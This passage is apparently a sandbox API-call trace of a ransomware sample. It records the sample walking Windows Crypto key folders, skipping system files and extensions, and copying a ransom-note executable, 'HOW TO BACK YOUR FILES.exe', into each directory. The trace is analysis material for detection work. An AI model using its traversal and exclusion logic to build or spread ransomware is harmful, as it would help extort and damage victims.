	[0051.258] lstrlenW (lpString="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0051.258] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned 46
	[0051.258] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"
	[0051.258] lstrlenW (lpString="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0051.258] lstrlenW (lpString="Apollon865") returned 10
	[0051.258] lstrcmpiW (lpString1="9ec416e53f", lpString2="Apollon865") returned -1
	[0051.258] lstrlenW (lpString=".dll") returned 4
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".dll") returned 1
	[0051.258] lstrlenW (lpString=".lnk") returned 4
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".lnk") returned 1
	[0051.258] lstrlenW (lpString=".ini") returned 4
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".ini") returned 1
	[0051.258] lstrlenW (lpString=".sys") returned 4
	[0051.259] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".sys") returned 1
	[0051.259] lstrlenW (lpString="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0051.259] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"
	[0051.259] lstrlenW (lpString="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0051.259] lstrlenW (lpString="Apollon865") returned 10
	[0051.259] lstrcmpiW (lpString1="9ec416e53f", lpString2="Apollon865") returned -1
	[0051.259] lstrlenW (lpString=".dll") returned 4
	[0051.259] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".dll") returned 1
	[0051.259] lstrlenW (lpString=".lnk") returned 4
	[0051.259] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".lnk") returned 1
	[0051.259] lstrlenW (lpString=".ini") returned 4
	[0051.259] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".ini") returned 1
	[0051.259] lstrlenW (lpString=".sys") returned 4
	[0051.259] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".sys") returned 1
	[0051.259] lstrlenW (lpString="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0051.259] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0051.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0051.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0051.259] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 47
	[0051.259] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0051.259] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.259] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.260] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.260] GetLastError () returned 0x0
	[0051.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.260] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.260] CloseHandle (hObject=0x15c) returned 1
	[0051.260] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.260] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.260] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.260] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.260] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.260] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.260] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.260] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.260] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.260] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.260] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.260] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.260] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.260] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0051.261] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.261] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0051.261] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\Keys", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys"
	[0051.261] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0051.261] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0051.261] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned 36
	[0051.261] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\Keys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys"
	[0051.261] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.261] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\keys\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.261] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.261] GetLastError () returned 0x0
	[0051.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.261] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.262] CloseHandle (hObject=0x15c) returned 1
	[0051.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.262] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.262] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.262] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.262] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.262] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.262] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.262] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.262] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.262] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.262] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.262] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.262] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.262] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0051.262] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.262] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0051.262] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS"
	[0051.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bded8 | out: hHeap=0x580000) returned 1
	[0051.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0051.262] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned 35
	[0051.262] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS"
	[0051.262] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.262] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.263] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.263] GetLastError () returned 0x0
	[0051.263] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.263] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.263] CloseHandle (hObject=0x15c) returned 1
	[0051.263] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.263] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.263] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.263] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.263] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.263] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.263] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.264] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.264] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.264] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.264] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.264] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffbe310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.264] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.264] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="Apollon865.txt.exe") returned 1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2=".") returned 1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="..") returned 1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="windows") returned -1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="bootmgr") returned 1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="temp") returned -1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="pagefile.sys") returned -1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="boot") returned 1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="ids.txt") returned 1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="ntuser.dat") returned -1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="perflogs") returned -1
	[0051.264] lstrcmpiW (lpString1="MachineKeys", lpString2="MSBuild") returned -1
	[0051.264] lstrlenW (lpString="MachineKeys") returned 11
	[0051.264] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*") returned 37
	[0051.264] lstrcpyW (in: lpString1=0x2d3e598, lpString2="MachineKeys" | out: lpString1="MachineKeys") returned="MachineKeys"
	[0051.264] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0051.264] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0051.264] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0051.264] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
	[0051.264] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.264] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0051.264] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0051.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0051.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0051.265] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned 47
	[0051.265] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0051.265] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.265] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\machinekeys\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.265] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.265] GetLastError () returned 0x0
	[0051.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.265] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.265] CloseHandle (hObject=0x15c) returned 1
	[0051.265] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.265] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.265] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.266] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.266] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.266] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.266] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.266] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.266] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.266] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.266] lstrcmpiW (lpString1="..", lpString2="..") returned 0
